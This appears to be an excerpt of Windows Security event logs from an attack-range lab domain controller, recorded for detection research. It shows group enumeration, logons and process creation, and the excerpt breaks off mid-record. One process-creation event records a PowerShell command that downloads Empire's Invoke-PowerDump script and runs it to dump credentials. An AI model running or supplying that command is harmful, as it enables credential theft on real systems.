Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Process: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe - -Event Source: - Source Name: VSSAudit - Event Source ID: 0x569D12 -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4904 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=257993 -Keywords=Audit Success -Message=An attempt was made to register a security event source. - -Subject : - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Process: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe - -Event Source: - Source Name: VSSAudit - Event Source ID: 0x569D12 -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257992 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257991 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257990 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257989 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257988 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257987 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257986 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257985 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257984 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257983 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257982 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257981 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257980 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257979 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257978 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257977 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257976 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257975 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257974 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257973 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257972 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257971 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257970 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257969 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258045 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x294 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {Write-Host \""STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\"" -fore green -Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore -Invoke-Webrequest -Uri \""https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1\"" -UseBasicParsing -OutFile \""$Env:Temp\PowerDump.ps1\"" -Import-Module .\PowerDump.ps1 -Invoke-PowerDump} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258049 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1184 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBBED.tmp" "c:\Users\Administrator\AppData\Local\Temp\00lezr2s\CSCB44602F1346B4F50A7D26D357FDA0AD.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258048 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1184 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x294 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\00lezr2s\00lezr2s.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258047 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1228 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1010 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBB51.tmp" "c:\Users\Administrator\AppData\Local\Temp\yvcl0vs4\CSC7A01F9535D7438DB3B21424DB1EB5A3.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258046 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1010 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x294 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\yvcl0vs4\yvcl0vs4.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258068 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5703C0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258067 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258066 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55ED3E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258065 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5703C0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258064 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5703C0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258063 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258062 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: 